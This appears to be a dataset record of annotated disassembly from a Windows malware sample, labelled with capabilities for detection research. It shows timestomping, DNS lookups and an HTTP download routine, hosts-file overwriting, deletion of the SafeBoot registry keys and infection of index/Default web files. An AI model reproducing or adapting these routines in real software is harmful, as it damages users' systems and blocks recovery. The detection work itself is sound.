joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401cdb
Capabilities:
Check if file exists
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x408e28
push 0x4075d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
sub esp, 0x838
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 0x1c], 0
or dword [ebp - 0x2c], 0xffffffff
and dword [ebp - 0x28], 0
and dword [ebp - 0x30], 0
and dword [ebp - 0x24], 0
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x20], eax
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
jne 0x401dd8
and dword [ebp - 0x84c], 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x84c], eax
push 0x800
push 0
lea eax, [ebp - 0x848]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 0x84c]
lea eax, [ebp - 0x848]
push eax
push dword [ebp - 0x84c]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
and dword [ebp - 4], 0
push 0xffffffffffffffff
lea eax, [ebp - 0x848]
push eax
push 0
push 0x401dc8
mov edi, edi
push ebp
mov eax, dword [0x40cd34]
add eax, 3
jmp eax
mov dword [ebp - 0x30], 2
and dword [ebp - 0x24], 0
push 0
push 0
push dword [ebp - 0x30]
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
jne 0x401e0c
xor eax, eax
jmp 0x401eea
push 0x18
push 0
lea eax, [ebp - 0x48]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
cmp dword [ebp - 0x30], 2
jne 0x401e69
mov dword [ebp - 0x48], 0x1ec61500
mov dword [ebp - 0x44], 0x1c479c6
push 8
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 8
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x38]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
push 0
push dword [ebp - 0x24]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [0x40cd2c]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
push 0
lea eax, [ebp - 0x28]
push eax
mov eax, dword [0x40cd30]
sub eax, dword [ebp - 0x24]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x401eb0
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x401eea
push 0
push 0
push dword [0x40cd30]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [ebp - 0x2c]
call dword [ebp - 0x20]
xor eax, eax
inc eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4026cf
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e8
mov dword [ebp - 0x198], 1
and dword [ebp - 0x194], 0
and dword [ebp - 0x19c], 0
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov ecx, dword [ebp + 8]
cmp dword [ecx + eax*4], 0x80000000
je 0x40270f
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov ecx, dword [ebp + 8]
cmp dword [ecx + eax*4], 0
jne 0x402716
xor eax, eax
jmp 0x4028d0
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [ebp - 0x19c]
push eax
push 0
push 0
push str.www.xunlei.com
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x40274f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402728
push dword [ebp - 0x19c]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push 0x40
push 0
lea eax, [ebp - 0x1e0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x19c]
push eax
push 0
push 0
push str.www.EEF2BD52_9BCC_43a6_BE3.com
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x4027c6
mov dword [ebp - 0x194], 0x40
lea eax, [ebp - 0x194]
push eax
lea eax, [ebp - 0x1e0]
push eax
push 0
mov eax, dword [ebp - 0x19c]
push dword [eax + 0x10]
mov eax, dword [ebp - 0x19c]
push dword [eax + 0x18]
call dword [sym.imp.WS2_32.dll_WSAAddressToStringA]
push dword [ebp - 0x19c]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
xor eax, eax
inc eax
je 0x4028c4
and dword [ebp - 0x1e8], 0
and dword [ebp - 0x1e4], 0
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + eax*4]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
lea eax, [ebp - 0x1e4]
push eax
push 0
push 0
push dword [ebp - 0x1e8]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
cmp dword [ebp - 0x1e4], 0
je 0x4028a5
push dword [ebp + 0x14]
push 0
push dword [ebp + 0x10]
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x10]
push 0
mov eax, dword [ebp - 0x1e4]
push dword [eax + 0x10]
mov eax, dword [ebp - 0x1e4]
push dword [eax + 0x18]
call dword [sym.imp.WS2_32.dll_WSAAddressToStringA]
movsx eax, byte [ebp - 0x1e0]
test eax, eax
je 0x40287d
push dword [ebp + 0x10]
lea eax, [ebp - 0x1e0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40287d
push dword [ebp - 0x1e4]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
jmp 0x4028a5
mov eax, dword [ebp + 0x10]
movsx eax, byte [eax]
test eax, eax
jne 0x402897
push dword [ebp - 0x1e4]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
jmp 0x4028a5
push dword [ebp - 0x1e4]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
jmp 0x4028c4
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov ecx, dword [ebp + 8]
cmp dword [ecx + eax*4], 0x80000000
jne 0x4028bf
and dword [ebp - 0x198], 0
jmp 0x4028c4
jmp 0x4027c6
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x198]
leave
ret 0x10
Function at 0x4028d4
Capabilities:
Check if file exists
Copy file
Delete file
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x518
cmp dword [0x40bdc0], 0
jne 0x4028ef
xor eax, eax
jmp 0x402a7b
and dword [0x40bdc0], 0
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.NDS.txt
push 0x40c508
push str._s_s
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x402943
xor eax, eax
jmp 0x402a7b
xor eax, eax
inc eax
je 0x402a79
and dword [ebp - 0x10c], 0
or dword [ebp - 0x110], 0xffffffff
and dword [ebp - 0x114], 0
jmp 0x402970
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0xc8
jge 0x4029b6
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffff
je 0x4029ac
jmp 0x4029b6
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402963
cmp dword [ebp - 0x110], 0xffffffff
jne 0x4029c6
xor eax, eax
jmp 0x402a7b
push 0
push dword [ebp - 0x110]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x402a5d
cmp dword [ebp - 0x10c], 0xffffffff
je 0x402a5d
and dword [ebp - 0x118], 0
push 0x400
push 0
lea eax, [ebp - 0x518]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 0x118]
push eax
push dword [ebp - 0x10c]
lea eax, [ebp - 0x518]
push eax
push dword [ebp - 0x110]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push 0x40a550
lea eax, [ebp - 0x518]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push dword [ebp - 0x110]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
inc eax
jmp 0x402a7b
push dword [ebp - 0x110]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402943
xor eax, eax
leave
ret
Function at 0x402d9d
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
push 0xffffffffffffffff
call fcn.0040199e
call fcn.004028d4
cmp eax, 1
jne 0x402dbf
xor eax, eax
inc eax
jmp 0x402e7c
cmp dword [0x40cd38], 0
jne 0x402dd7
push 0x40ab28
call fcn.004024aa
mov dword [0x40cd38], eax
xor eax, eax
inc eax
je 0x402e7c
push 0x40
push 0
lea eax, [ebp - 0x440]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40
lea eax, [ebp - 0x440]
push eax
push 0x40cd3c
push dword [0x40cd38]
call fcn.004026cf
test eax, eax
jne 0x402e14
xor eax, eax
jmp 0x402e7c
push 0x400
push 0
lea eax, [ebp - 0x400]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40ad2c
push dword [0x40ae1c]
lea eax, [ebp - 0x440]
push eax
push str.http:___s:_d__s
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0x40a550
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x40a550
lea eax, [ebp - 0x400]
push eax
call fcn.00402abd
cmp eax, 1
jne 0x402e77
xor eax, eax
inc eax
jmp 0x402e7c
jmp 0x402dd7
leave
ret

Function at 0x402ed5
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
or dword [ebp - 4], 0xffffffff
cmp dword [0x40cd4c], 0
jne 0x402f62
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [0x40cd4c], eax
and dword [ebp - 8], 0
jmp 0x402f0b
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x100
jge 0x402f62
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 8
jmp 0x402f2a
mov eax, dword [ebp - 0x10]
dec eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jle 0x402f51
mov eax, dword [ebp - 0xc]
and eax, 1
je 0x402f47
mov eax, dword [ebp - 0xc]
shr eax, 1
xor eax, 0xedb88320
mov dword [ebp - 0xc], eax
jmp 0x402f4f
mov eax, dword [ebp - 0xc]
shr eax, 1
mov dword [ebp - 0xc], eax
jmp 0x402f23
mov eax, dword [ebp - 8]
mov ecx, dword [0x40cd4c]
mov edx, dword [ebp - 0xc]
mov dword [ecx + eax*4], edx
jmp 0x402f04
and dword [ebp - 0x14], 0
jmp 0x402f6f
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jae 0x402fab
and dword [ebp - 0x18], 0
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x14]
movsx eax, byte [eax]
xor eax, dword [ebp - 4]
and eax, 0xff
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
shr eax, 8
and eax, 0xffffff
mov ecx, dword [ebp - 0x18]
mov edx, dword [0x40cd4c]
xor eax, dword [edx + ecx*4]
mov dword [ebp - 4], eax
jmp 0x402f68
mov eax, dword [ebp - 4]
not eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret 8
Function at 0x40393f
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 4]
push eax
push 0xb
call dword [sym.imp.ntdll.dll_ZwQuerySystemInformation]
cmp dword [ebp - 8], 0
je 0x403987
push dword [ebp - 8]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403985
xor eax, eax
jmp 0x4039ce
jmp 0x40398b
xor eax, eax
jmp 0x4039ce
push 0
push dword [ebp - 8]
push dword [ebp - 4]
push 0xb
call dword [sym.imp.ntdll.dll_ZwQuerySystemInformation]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax + 0x1e]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax + 0x20]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
push dword [ebp - 0x14]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov eax, dword [ebp - 0xc]
leave
ret 4
Function at 0x40457d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x40459b
push 0
push 0
push 0
push 0x4040be
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
pop ebp
ret 0xc

Function at 0x4045a2
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
and dword [ebp - 0x158], 0
and dword [ebp - 0x154], 0
and dword [ebp - 4], 0
mov dword [ebp - 0x154], 0x144
push 2
push 0
xor eax, eax
sub eax, dword [ebp - 0x154]
add eax, 4
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x144
push 0
lea eax, [ebp - 0x150]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x154]
sub eax, 4
push eax
lea eax, [ebp - 0x150]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push str._script
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
je 0x404679
push dword [ebp - 0x158]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x404675
push 2
push 0
push dword [ebp - 0x158]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
sub ecx, eax
push ecx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
jmp 0x404679
xor eax, eax
jmp 0x40467c
xor eax, eax
inc eax
leave
ret 8
Function at 0x404680
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x408e58
push 0x4075d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
sub esp, 0x128
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 0x1c], 0
or dword [ebp - 0x20], 0xffffffff
and dword [ebp - 4], 0
cmp dword [0x40b634], 0
jne 0x4046c9
or dword [ebp - 4], 0xffffffff
jmp 0x40480e
cmp dword [0x40b638], 0
jne 0x40474d
push 0x104
push 0
lea eax, [ebp - 0x140]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x5c
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
inc eax
push eax
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x2e
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
and dword [eax], 0
push str.index
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x40474d
push str.Default
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x40474d
or dword [ebp - 4], 0xffffffff
jmp 0x40480e
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x40477a
or dword [ebp - 4], 0xffffffff
jmp 0x40480e
push 0
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x20]
call fcn.00404fb7
push str.XNyCe
push dword [ebp - 0x20]
call fcn.004045a2
test eax, eax
jne 0x4047a8
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
jmp 0x40480e
push 2
push 0
push 0
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x1c]
push eax
push str.XNyCe
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.XNyCe
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 1
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x20]
call fcn.00404fb7
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
jmp 0x40480e
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x404d15
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
or dword [ebp - 0x24c], 0xffffffff
push 0x104
push 0
lea eax, [ebp - 0x248]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push 0x4089b0
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [ebp - 0x248]
and eax, 0xffffff
cmp eax, 0x5c3a43
jne 0x404e19
and dword [ebp - 0x250], 0
push 0x104
push 0
lea eax, [ebp - 0x358]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
dec eax
push eax
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x358]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x5c
lea eax, [ebp - 0x358]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0
je 0x404e19
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
and dword [ebp - 0x35c], 0
jmp 0x404dec
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0x13
jge 0x404e19
mov eax, dword [ebp - 0x35c]
push dword [eax*4 + 0x40a4f0]
push dword [ebp - 0x250]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x404e17
jmp 0x404ea2
jmp 0x404ddf
push 0x140
push 0
lea eax, [ebp - 0x140]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x24c], eax
push dword [ebp + 8]
lea eax, [ebp - 0x140]
push eax
call fcn.00404b88
push 0x140
push 0
lea eax, [ebp - 0x140]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x24c]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x404e96
push dword [ebp + 8]
lea eax, [ebp - 0x140]
push eax
call fcn.00404b88
jmp 0x404e6e
push dword [ebp - 0x24c]
call dword [sym.imp.KERNEL32.dll_FindClose]
leave
ret 4

Function at 0x404fb7
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 1
cmp dword [ebp + 8], 0xffffffff
jne 0x404fd1
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x40503d
cmp dword [ebp + 0x10], 0
jne 0x40500d
push 0x18
push 0
push dword [ebp + 0xc]
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp + 0xc]
add eax, 0x10
push eax
mov eax, dword [ebp + 0xc]
add eax, 8
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x405008
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x40503d
cmp dword [ebp + 0x10], 1
jne 0x40503a
mov eax, dword [ebp + 0xc]
add eax, 0x10
push eax
mov eax, dword [ebp + 0xc]
add eax, 8
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x405035
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x40503d
mov eax, dword [ebp - 4]
leave
ret 0xc
Function at 0x405281
Capabilities:
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov dword [ebp - 8], str.127.0.0.1_______localhost_r_n
and dword [ebp - 4], 0
or dword [ebp - 0xc], 0xffffffff
push 0x104
push 0
lea eax, [ebp - 0x118]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40c610
push str._sdriversetchosts
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret
Function at 0x40531b
Capabilities:
Create thread
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc14
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 0x4073b8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.SYSTEMCurrentControlSetControlSafeBootMinimal
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
push str.SYSTEMCurrentControlSetControlSafeBootNetwork
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
cmp dword [0x40a548], 0xffffffff
je 0x405443
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
push 0x400
push 0
lea eax, [ebp - 0xc10]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push dword [0x40a540]
push dword [0x40a53c]
push str._s_s_s
lea eax, [ebp - 0xc10]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0xc10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0xc], eax
push 0x800
push 0
lea eax, [ebp - 0x810]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 0xc]
lea eax, [ebp - 0x810]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0xc10]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0
mov eax, dword [ebp - 0xc]
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x810]
push eax
push 0x2220c4
push dword [0x40a548]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x320
push 0x40b808
push 0x222114
push dword [0x40a548]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
xor eax, eax
inc eax
je 0x40547e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xc14], eax
mov eax, dword [ebp - 0xc14]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor edx, edx
push 0x3c
pop ecx
div ecx
cmp eax, 3
jb 0x405471
jmp 0x40547e
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405443
push 0
push 0xc7
push 0x20
push 0x40bb28
call fcn.00401000
push 0
push 0xc7
push 0x26c
push 0x40bb50
call fcn.00401000
push 0
push dword [0x40a54c]
push 0x140
push str.XNyCe
call fcn.00401000
call fcn.00405281
push 0x40cd68
push 0x40cd64
push dword [0x40cd28]
call fcn.00401aae
cmp dword [0x40b62c], 0
je 0x405505
cmp dword [0x40cd64], 0
je 0x405505
cmp dword [0x40cd68], 0
je 0x405505
push 0
push 0
push 0
push 0x404ee3
push 0
push 0
call dword [ebp - 4]
cmp dword [0x40b63c], 0
je 0x405520
push 0
push 0
push 0
push 0x4071a5
push 0
push 0
call dword [ebp - 4]
cmp dword [0x40b640], 0
je 0x40553b
push 0
push 0
push 1
push 0x406ce9
push 0
push 0
call dword [ebp - 4]
cmp dword [0x40b644], 0
je 0x405556
push 0
push 0
push 2
push 0x406ce9
push 0
push 0
call dword [ebp - 4]
leave
ret 4
Function at 0x4056d3
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
and dword [ebp - 0x214], 0
and dword [ebp - 4], 0
and dword [ebp - 8], 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x214], eax
push 0x208
push 0
lea eax, [ebp - 0x210]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 0x214]
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x214]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
lea eax, [ebp - 0x210]
push eax
push 0x405592
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
push 0x3e8
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x405772
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
xor eax, eax
inc eax
jmp 0x405782
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov eax, dword [ebp - 4]
leave
ret 4